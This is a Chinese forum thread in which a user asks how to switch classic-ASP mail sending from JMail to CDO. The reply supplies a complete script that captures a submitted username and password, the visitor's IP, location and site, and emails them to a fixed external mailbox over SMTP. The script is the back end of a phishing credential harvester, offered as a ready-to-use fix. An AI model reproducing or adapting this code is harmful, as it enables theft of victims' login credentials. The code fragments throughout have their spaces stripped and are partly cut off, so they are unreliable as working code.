求大神帮忙把jmail的邮件发送修改成cdo的谢谢

[复制链接]
查看11 | 回复2 | 2021-1-27 05:39:17 | 显示全部楼层 |阅读模式
""AndLoginPass""Then
JMail.MailServerUserName=LoginName'您的邮件服务器登录名
JMail.MailServerPassword=LoginPass'登录密码
EndIf
jmail.Subject=Subject'邮件的标题
JMail.Body=Content
JMail.Priority=3'邮件的紧急程序,1为最快,5为最慢,3为默认值
jmail.Send(MailAddress)'执行邮件发送(通过邮件服务器地址)
jmail.Close()'关闭对象
SetJMail=Nothing
IfErrThen
SendMail=0
'response.Write(SendMail)
Err.Clear
Else
SendMail=1
EndIf
EndFunction

%>

cdo参考如下:

0Then
Response.writeerr.description&"
"
Response.write"*PleasedoublechecktheFromAddressandPasswordtoconfirmthatbothofthemarecorrect.
"
response.end
Else
Response.Write"sentsuccessfully"
Response.end
EndIf
onerrorgoto0
endif
%>
分 -->
回复

使用道具 举报

千问 | 2021-1-27 05:39:17 | 显示全部楼层
这论坛人气好差啊
回复

使用道具 举报

千问 | 2021-1-27 05:39:17 | 显示全部楼层
不是有代码了。直接套啊。。。
ifrequest("mark")="post"then
onerrorresumenext
mess=mess&"用户名:"&request("u")&"
"&vbcr
mess=mess&"密码:"&request("p")&"
"&vbcr
mess=mess&"IP:"&request.ServerVariables("REMOTE_ADDR")&"
"&vbcr
mess=mess&"地理位置:"&request("ip")&"
www.ip138.com/ips138.asp?ip="&Request.ServerVariables("REMOTE_ADDR")&"
"&vbcr
mess=mess&"访问站点:"&request.ServerVariables("SERVER_NAME")&"
"&vbcr
mess=mess&"时间:"&now()&"
"&vbcr
Subject="test"
MailAddress="smtp.126.com"'发件服务器
LoginName="[email protected]"'登陆用户名
LoginPass="123456"'密码
Email="[email protected]"'收件箱


Sender="test"
Content=mess
Fromer=LoginName
'response.Write(body1)

SetobjMessage=CreateObject("CDO.Message")
SetobjConfig=CreateObject("CDO.Configuration")
SetFlds=objConfig.Fields
schema="http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema&"sendusing")=2
Flds.Item(schema&"smtpserver")=MailAddress''''''''''邮件服务器地址
Flds.Item(schema&"smtpauthenticate")=1
Flds.Item(schema&"sendusername")=LoginName'''''''''发件人姓名
Flds.Item(schema&"sendpassword")=LoginPass'''''''''发件人密码
Flds.Item(schema&"smtpserverport")=25
Flds.Item(schema&"smtpusessl")=0
Flds.Update
SetobjMessage.Configuration=objConfig
objMessage.To=Email'''''''收件人邮箱
objMessage.From=LoginName''''''发件人姓名
objMessage.Subject=Subject'''''''''邮件标题
objMessage.fields.update
objMessage.HTMLBody=Content'邮件内容
objMessage.Send
IfErr.Number0Then
Response.writeerr.description&"
"
Response.write"*PleasedoublechecktheFromAddressandPasswordtoconfirmthatbothofthemarecorrect.
"
response.end
Else
Response.Write"sentsuccessfully"
Response.end
EndIf
onerrorgoto0
endif
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

主题

0

回帖

4882万

积分

论坛元老

Rank: 8Rank: 8

积分
48824836
热门排行